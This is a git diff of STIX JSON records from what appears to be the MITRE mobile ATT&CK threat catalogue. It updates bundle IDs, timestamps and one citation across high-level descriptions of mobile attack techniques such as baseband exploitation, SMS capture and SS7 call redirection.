             "description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device system partition, where it may persist after device resets and may not be easily removed by the device user.\n\nMany Android devices provide the ability to unlock the bootloader for development purposes. An unlocked bootloader may provide the ability for an adversary to modify the system partition. Even if the bootloader is locked, it may be possible for an adversary to escalate privileges and then modify the system partition.\n\nDetection: Android devices with the Verified Boot capability (Citation: Android-VerifiedBoot) perform cryptographic checks of the integrity of the system partition.\n\nThe Android SafetyNet API's remote attestation capability could potentially be used to identify and respond to compromised devices.\n\nSamsung KNOX also provides a remote attestation capability on supported Samsung Android devices.\n\nAs described in the iOS Security Guide (Citation: Apple-iOSSecurityGuide), iOS devices will fail to boot or fail to allow device activation if unauthorized modifications are detected.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--c91c304a-975d-4501-9789-0db1c57afd3f.json b/mobile-attack/attack-pattern/attack-pattern--c91c304a-975d-4501-9789-0db1c57afd3f.json
index 595662c165..4ae394f3a4 100644
--- a/mobile-attack/attack-pattern/attack-pattern--c91c304a-975d-4501-9789-0db1c57afd3f.json
+++ b/mobile-attack/attack-pattern/attack-pattern--c91c304a-975d-4501-9789-0db1c57afd3f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d37e8d65-1567-49ea-92d2-40ecee383c76",
+    "id": "bundle--bf954120-ed21-40c6-823b-02aa9bdc11fb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--c91c304a-975d-4501-9789-0db1c57afd3f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:07.149Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exploit Baseband Vulnerability",
             "description": "A message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi or other) to the mobile device could exploit a vulnerability in code running on the device.\n\nD. Komaromy and N. Golde demonstrated baseband exploitation of a Samsung mobile device at the PacSec 2015 security conference (Citation: Register-BaseStation).\n\nWeinmann described and demonstrated \"the risk of remotely exploitable memory corruptions in cellular baseband stacks.\" (Citation: Weinmann-Baseband)\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--cf28ca46-1fd3-46b4-b1f6-ec0b72361848.json b/mobile-attack/attack-pattern/attack-pattern--cf28ca46-1fd3-46b4-b1f6-ec0b72361848.json
index 1f27298b95..e1d4c71171 100644
--- a/mobile-attack/attack-pattern/attack-pattern--cf28ca46-1fd3-46b4-b1f6-ec0b72361848.json
+++ b/mobile-attack/attack-pattern/attack-pattern--cf28ca46-1fd3-46b4-b1f6-ec0b72361848.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5d70138a-bf36-4038-8272-0f82bd4e01e2",
+    "id": "bundle--ec4829db-f776-4d72-8318-09e4a3f584de",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--cf28ca46-1fd3-46b4-b1f6-ec0b72361848",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:21.965Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "File and Directory Discovery",
             "description": "On Android, command line tools or the Java file APIs can be used to enumerate file system contents. However, Linux file permissions and SELinux policies generally strongly restrict what can be accessed by apps (without taking advantage of a privilege escalation exploit). The contents of the external storage directory are generally visible, which could present concern if sensitive data is inappropriately stored there.\n\niOS's security architecture generally restricts the ability to perform file and directory discovery without use of escalated privileges.\n\nPlatforms: Android",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a.json b/mobile-attack/attack-pattern/attack-pattern--d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a.json
index 46a918f016..411f063070 100644
--- a/mobile-attack/attack-pattern/attack-pattern--d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a.json
+++ b/mobile-attack/attack-pattern/attack-pattern--d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d17ab9fa-ea54-48f2-ab6c-41c006df388b",
+    "id": "bundle--1fee823f-4970-4c37-adcf-96db128585c4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:32.328Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Obfuscated or Encrypted Payload",
             "description": "An app could contain malicious code in obfuscated or encrypted form, then deobfuscate or decrypt the code at runtime to evade many app vetting techniques, as described in  (Citation: Rastogi) (Citation: Zhou) (Citation: TrendMicro-Obad) (Citation: Xiao-iOS).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--d2e112dc-f6d4-488d-b8df-ecbfb57a0a2d.json b/mobile-attack/attack-pattern/attack-pattern--d2e112dc-f6d4-488d-b8df-ecbfb57a0a2d.json
index 2fa5918a61..4bf467ec77 100644
--- a/mobile-attack/attack-pattern/attack-pattern--d2e112dc-f6d4-488d-b8df-ecbfb57a0a2d.json
+++ b/mobile-attack/attack-pattern/attack-pattern--d2e112dc-f6d4-488d-b8df-ecbfb57a0a2d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a0c0306c-9cdc-4928-929b-92fb8b9f0852",
+    "id": "bundle--d04f124b-e557-4590-8636-82bbaf0436db",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--d2e112dc-f6d4-488d-b8df-ecbfb57a0a2d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:25.740Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Jamming or Denial of Service",
             "description": "An attacker could jam radio signals (e.g. Wi-Fi, cellular, GPS) to prevent the mobile device from communicating as described in draft NIST SP 800-187 (Citation: NIST-SP800187).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--d4536441-1bcc-49fa-80ae-a596ed3f7ffd.json b/mobile-attack/attack-pattern/attack-pattern--d4536441-1bcc-49fa-80ae-a596ed3f7ffd.json
index 0259ca8b3f..624bd73b28 100644
--- a/mobile-attack/attack-pattern/attack-pattern--d4536441-1bcc-49fa-80ae-a596ed3f7ffd.json
+++ b/mobile-attack/attack-pattern/attack-pattern--d4536441-1bcc-49fa-80ae-a596ed3f7ffd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2bf6c161-0f8f-48cf-aa27-aeccc48fd2e9",
+    "id": "bundle--80bc3620-a128-4dcb-985a-b02d4a4cb834",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--d4536441-1bcc-49fa-80ae-a596ed3f7ffd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:32.740Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Local Network Configuration Discovery",
             "description": "On Android, details of onboard network interfaces are accessible to apps through the java.net. (Citation: NetworkInterface) class (Citation: NetworkInterface). The Android  (Citation: TelephonyManager) class can be used to gather related information such as the IMSI, IMEI, and phone number (Citation: TelephonyManager).\n\nPlatforms: Android",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--d731c21e-f27d-4756-b418-0e2aaabd6d63.json b/mobile-attack/attack-pattern/attack-pattern--d731c21e-f27d-4756-b418-0e2aaabd6d63.json
index 3ebaaa759d..97e4d2e6e5 100644
--- a/mobile-attack/attack-pattern/attack-pattern--d731c21e-f27d-4756-b418-0e2aaabd6d63.json
+++ b/mobile-attack/attack-pattern/attack-pattern--d731c21e-f27d-4756-b418-0e2aaabd6d63.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5cce8ff9-bfaa-4c8b-968a-4e26cd4e1183",
+    "id": "bundle--fa5752af-9fb8-4e2f-918b-b42c3759fa06",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--d731c21e-f27d-4756-b418-0e2aaabd6d63",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:25.322Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Manipulate Device Communication",
             "description": "If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to man-in-the-middle attacks (Citation: FireEye-SSL).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--d9e88203-2b5d-405f-a406-2933b1e3d7e4.json b/mobile-attack/attack-pattern/attack-pattern--d9e88203-2b5d-405f-a406-2933b1e3d7e4.json
index 2ed9be5eb5..59cec4eab3 100644
--- a/mobile-attack/attack-pattern/attack-pattern--d9e88203-2b5d-405f-a406-2933b1e3d7e4.json
+++ b/mobile-attack/attack-pattern/attack-pattern--d9e88203-2b5d-405f-a406-2933b1e3d7e4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--542cd897-0bfb-4fb6-b09e-7cca9874d323",
+    "id": "bundle--adb75985-eb63-4b7e-91f8-e9098057216f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--d9e88203-2b5d-405f-a406-2933b1e3d7e4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:10.285Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Encrypt Files for Ransom",
             "description": "An adversary may encrypt files stored on the mobile device to prevent the user from accessing them, only unlocking access to the files after a ransom is paid. Without escalated privileges, the adversary is generally limited to only encrypting files in external/shared storage locations. This technique has been demonstrated on Android, and we are unaware of any demonstrated use on iOS.\n\nPlatforms: Android",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--dd818ea5-adf5-41c7-93b5-f3b839a219fb.json b/mobile-attack/attack-pattern/attack-pattern--dd818ea5-adf5-41c7-93b5-f3b839a219fb.json
index bd7fa37ef0..35d445d192 100644
--- a/mobile-attack/attack-pattern/attack-pattern--dd818ea5-adf5-41c7-93b5-f3b839a219fb.json
+++ b/mobile-attack/attack-pattern/attack-pattern--dd818ea5-adf5-41c7-93b5-f3b839a219fb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4bda417a-119d-45ad-b8a4-c699cca37c64",
+    "id": "bundle--fe5645ed-048d-4858-9e67-99fb36fbf07c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--dd818ea5-adf5-41c7-93b5-f3b839a219fb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:33.574Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Local Network Connections Discovery",
             "description": "On Android, applications can use standard APIs to gather a list of network connections to and from the device. For example, the Network Connections app available in the Google Play Store (Citation: ConnMonitor) advertises this functionality.\n\nPlatforms: Android",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--dfe29258-ce59-421c-9dee-e85cb9fa90cd.json b/mobile-attack/attack-pattern/attack-pattern--dfe29258-ce59-421c-9dee-e85cb9fa90cd.json
index 17534a77b2..fd044b05f3 100644
--- a/mobile-attack/attack-pattern/attack-pattern--dfe29258-ce59-421c-9dee-e85cb9fa90cd.json
+++ b/mobile-attack/attack-pattern/attack-pattern--dfe29258-ce59-421c-9dee-e85cb9fa90cd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0473acf3-5c26-4974-b9db-dcfb54e44508",
+    "id": "bundle--6eb39a9d-8658-4807-b171-783127c12523",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--dfe29258-ce59-421c-9dee-e85cb9fa90cd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:24.488Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Lockscreen Bypass",
             "description": "Techniques have periodically been demonstrated that exploit vulnerabilities on Android (Citation: Wired-AndroidBypass), iOS (Citation: Kaspersky-iOSBypass), or other mobile devices to bypass the device lock screen. The vulnerabilities are generally patched by the device/operating system vendor once they become aware of their existence.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--e2ea7f6b-8d4f-49c3-819d-660530d12b77.json b/mobile-attack/attack-pattern/attack-pattern--e2ea7f6b-8d4f-49c3-819d-660530d12b77.json
index c415c34b1d..a548b80a4d 100644
--- a/mobile-attack/attack-pattern/attack-pattern--e2ea7f6b-8d4f-49c3-819d-660530d12b77.json
+++ b/mobile-attack/attack-pattern/attack-pattern--e2ea7f6b-8d4f-49c3-819d-660530d12b77.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9a76c982-b564-4573-87df-cb6fbf5c5043",
+    "id": "bundle--15388a94-95b7-453e-907a-f32dcd82f687",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--e2ea7f6b-8d4f-49c3-819d-660530d12b77",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:19.265Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Information Discovery",
             "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, and architecture.\n\nOn Android, much of this information is programmatically accessible to applications through the android.os.Build class (Citation: Android-Build).\n\nOn iOS, techniques exist for applications to programmatically access this information, for example as described in  (Citation: StackOverflow-iOSVersion).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--e30cc912-7ea1-4683-9219-543b86cbdec9.json b/mobile-attack/attack-pattern/attack-pattern--e30cc912-7ea1-4683-9219-543b86cbdec9.json
index e81466d3cd..7d23aac043 100644
--- a/mobile-attack/attack-pattern/attack-pattern--e30cc912-7ea1-4683-9219-543b86cbdec9.json
+++ b/mobile-attack/attack-pattern/attack-pattern--e30cc912-7ea1-4683-9219-543b86cbdec9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d08bd3b3-8857-4136-8540-df84e93a80cd",
+    "id": "bundle--8680796f-39be-4c2d-a90d-952651c12c05",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--e30cc912-7ea1-4683-9219-543b86cbdec9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:28.786Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Fake Developer Accounts",
             "description": "An adversary could use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. For example, Oberheide and Miller describe use of this technique in  (Citation: Oberheide-Bouncer).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--e8b4e1ec-8e3b-484c-9038-4459b1ed8060.json b/mobile-attack/attack-pattern/attack-pattern--e8b4e1ec-8e3b-484c-9038-4459b1ed8060.json
index b36639b653..1940e34f5a 100644
--- a/mobile-attack/attack-pattern/attack-pattern--e8b4e1ec-8e3b-484c-9038-4459b1ed8060.json
+++ b/mobile-attack/attack-pattern/attack-pattern--e8b4e1ec-8e3b-484c-9038-4459b1ed8060.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--edf43b66-1643-4ab9-b6f9-293543f70a13",
+    "id": "bundle--c4643ba4-6ce9-49af-99f1-f81b10492ae9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--e8b4e1ec-8e3b-484c-9038-4459b1ed8060",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:15.920Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Capture SMS Messages",
             "description": "A malicious application could capture sensitive data sent via SMS, including authentication credentials. SMS is frequently used to transmit codes used for multi-factor authentication.\n\nOn Android, a malicious application must request and obtain permission (either at app install time or run time) in order to receive SMS messages. Alternatively, a malicious application could attempt to perform an operating system privilege escalation attack to bypass the permission requirement.\n\nOn iOS, applications cannot access SMS messages in normal operation, so an adversary would need to attempt to perform an operating system privilege escalation attack to potentially be able to access SMS messages.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--ef771e03-e080-43b4-a619-ac6f84899884.json b/mobile-attack/attack-pattern/attack-pattern--ef771e03-e080-43b4-a619-ac6f84899884.json
index 193a0d3447..c7db3e9f5d 100644
--- a/mobile-attack/attack-pattern/attack-pattern--ef771e03-e080-43b4-a619-ac6f84899884.json
+++ b/mobile-attack/attack-pattern/attack-pattern--ef771e03-e080-43b4-a619-ac6f84899884.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--190db172-f35f-4e5c-8c0e-4d86c4d9a1ba",
+    "id": "bundle--578c1e5f-3e73-4a45-9293-9655b7709702",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--ef771e03-e080-43b4-a619-ac6f84899884",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:22.716Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exploit TEE Vulnerability",
             "description": "A malicious app or other attack vector could be used to exploit vulnerabilities in code running within the Trusted Execution Environment (TEE) (Citation: Thomas-TrustZone). The adversary could then obtain privileges held by the TEE potentially including the ability to access cryptographic keys or other sensitive data (Citation: QualcommKeyMaster). Escalated operating system privileges may be first required in order to have the ability to attack the TEE (Citation: EkbergTEE). If not, privileges within the TEE can potentially be used to exploit the operating system (Citation: laginimaineb-TEE).\n\nPlatforms: Android",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--f1c3d071-0c24-483d-aca0-e8b8496ce468.json b/mobile-attack/attack-pattern/attack-pattern--f1c3d071-0c24-483d-aca0-e8b8496ce468.json
index fa24abfe11..d07dc7511b 100644
--- a/mobile-attack/attack-pattern/attack-pattern--f1c3d071-0c24-483d-aca0-e8b8496ce468.json
+++ b/mobile-attack/attack-pattern/attack-pattern--f1c3d071-0c24-483d-aca0-e8b8496ce468.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--36422e8f-bf45-498a-97e1-9f5031a88a8f",
+    "id": "bundle--e0afd80c-25ac-4054-885a-1dc313e48881",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--f1c3d071-0c24-483d-aca0-e8b8496ce468",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:18.583Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Modify Trusted Execution Environment",
             "description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device's Trusted Execution Environment (TEE) or other similar isolated execution environment where the code can evade detection, may persist after device resets, and may not be removable by the device user. Running code within the TEE may provide an adversary with the ability to monitor or tamper with overall device behavior.\n\nThomas Roth describes the potential for placing a rootkit within the TrustZone secure world (Citation: Roth-Rootkits).\n\nDetection: Devices may perform cryptographic integrity checks of code running within the TEE at boot time.\n\nAs described in the iOS Security Guide (Citation: Apple-iOSSecurityGuide), iOS devices will fail to boot if the software running within the Secure Enclave does not pass signature verification.\n\nPlatforms: Android",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--f296fc9c-2ff5-43ee-941e-6b49c438270a.json b/mobile-attack/attack-pattern/attack-pattern--f296fc9c-2ff5-43ee-941e-6b49c438270a.json
index 1cb39c8634..d3877570f7 100644
--- a/mobile-attack/attack-pattern/attack-pattern--f296fc9c-2ff5-43ee-941e-6b49c438270a.json
+++ b/mobile-attack/attack-pattern/attack-pattern--f296fc9c-2ff5-43ee-941e-6b49c438270a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--39991694-b435-4a72-aa89-3895c12db5df",
+    "id": "bundle--f43b421c-802b-4baa-8b46-bfe8eed63787",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--f296fc9c-2ff5-43ee-941e-6b49c438270a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:23.652Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Device Unlock Code Guessing or Brute Force",
-            "description": "An adversary could make educated guesses of the device lock screen's PIN/password (e.g., commonly used values, birthdays, anniversaries) or attempt a dictionary or brute force attack against it. Brute force attacks could potentially be automated (Citation: MDSec-IPBox).\n\nPlatforms: Android, iOS",
+            "description": "An adversary could make educated guesses of the device lock screen's PIN/password (e.g., commonly used values, birthdays, anniversaries) or attempt a dictionary or brute force attack against it. Brute force attacks could potentially be automated (Citation: PopSci-IPBox).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-mobile-attack",
@@ -24,8 +24,9 @@
                     "external_id": "MOB-T1062"
                 },
                 {
-                    "source_name": "MDSec-IPBox",
-                    "description": "MDSec-IPBox"
+                    "source_name": "PopSci-IPBox",
+                    "description": "Dan Moren. (2015, March 18). This Box Can Figure Out Your 4-Digit iPhone Passcode. Retrieved December 23, 2016.",
+                    "url": "http://www.popsci.com/box-can-figure-out-your-4-digit-iphone-passcode"
                 }
             ],
             "object_marking_refs": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--f58cd69a-e548-478b-9248-8a9af881dc34.json b/mobile-attack/attack-pattern/attack-pattern--f58cd69a-e548-478b-9248-8a9af881dc34.json
index ad686468f8..6a1ed1998c 100644
--- a/mobile-attack/attack-pattern/attack-pattern--f58cd69a-e548-478b-9248-8a9af881dc34.json
+++ b/mobile-attack/attack-pattern/attack-pattern--f58cd69a-e548-478b-9248-8a9af881dc34.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f30b13db-93b4-4cb8-9b56-c7edd2bfdc21",
+    "id": "bundle--141b2de1-a007-48a7-88d0-56806970e53b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--f58cd69a-e548-478b-9248-8a9af881dc34",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:21.667Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Downgrade to Insecure Protocols",
             "description": "An adversary could cause the mobile device to use less secure protocols, for example by jamming frequencies used by newer protocols such as LTE and only allowing older protocols such as GSM to communicate as described in draft NIST SP 800-187 (Citation: NIST-SP800187). Use of less secure protocols may make communication easier to eavesdrop upon or manipulate.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--f981d199-2720-467e-9dc9-eea04dbe05cf.json b/mobile-attack/attack-pattern/attack-pattern--f981d199-2720-467e-9dc9-eea04dbe05cf.json
index 4f29d95226..3a201384c5 100644
--- a/mobile-attack/attack-pattern/attack-pattern--f981d199-2720-467e-9dc9-eea04dbe05cf.json
+++ b/mobile-attack/attack-pattern/attack-pattern--f981d199-2720-467e-9dc9-eea04dbe05cf.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b57114de-4532-4b68-af11-86019c99da90",
+    "id": "bundle--6ddc78a1-549f-4b73-a712-813c61b8a6b3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--f981d199-2720-467e-9dc9-eea04dbe05cf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:18.937Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Generate Fraudulent Advertising Revenue",
             "description": "An adversary could seek to generate fraudulent advertising revenue from mobile devices, for example by triggering automatic clicks of advertising links without user involvement.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--f9e4f526-ac9d-4df5-8949-833a82a1d2df.json b/mobile-attack/attack-pattern/attack-pattern--f9e4f526-ac9d-4df5-8949-833a82a1d2df.json
index e32cc25718..154bdcb32f 100644
--- a/mobile-attack/attack-pattern/attack-pattern--f9e4f526-ac9d-4df5-8949-833a82a1d2df.json
+++ b/mobile-attack/attack-pattern/attack-pattern--f9e4f526-ac9d-4df5-8949-833a82a1d2df.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3e90f6aa-0db2-47ad-aaff-c83bb90a20f9",
+    "id": "bundle--283652e0-5e93-4a22-b92e-bbf5bc2786be",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--f9e4f526-ac9d-4df5-8949-833a82a1d2df",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:09.446Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Malicious or Vulnerable Built-in Device Functionality",
             "description": "The mobile device could contain built-in functionality with malicious behavior or exploitable vulnerabilities. An adversary could deliberately insert and take advantage of the malicious behavior or could exploit inadvertent vulnerabilities. In many cases, it is difficult to be certain whether exploitable functionality is due to malicious intent or simply an inadvertent mistake.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d.json b/mobile-attack/attack-pattern/attack-pattern--fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d.json
index 47cb676fc9..1ce3744b89 100644
--- a/mobile-attack/attack-pattern/attack-pattern--fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d.json
+++ b/mobile-attack/attack-pattern/attack-pattern--fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--317731ab-ad54-4f77-b4a8-c8657cfc0aab",
+    "id": "bundle--5b67b356-1e80-498a-b06b-2c7c8ac3593b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:06.524Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exploit SS7 to Redirect Phone Calls/SMS",
-            "description": "An adversary could exploit signaling system vulnerabilities to redirect calls or text messages to a phone number under the attacker's control. The adversary could then act as a man-in-the-middle to intercept or manipulate the communication. These issues are discussed in  (Citation: Engel-SS7),  (Citation: Engel-SS7)-2008,  (Citation: 3GPP-Security),  (Citation: Positive-SS7), as well as in a report from the Communications, Security, Reliability, and Interoperability Council (CSRIC)  (Citation: CSRIC5-WG10-FinalReport).\n\nDetection: Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation as described by the CSRIC (Citation: CSRIC-WG1-FinalReport). The CSRIC also suggests threat information sharing between telecommunications industry members.\n\nPlatforms: Android, iOS",
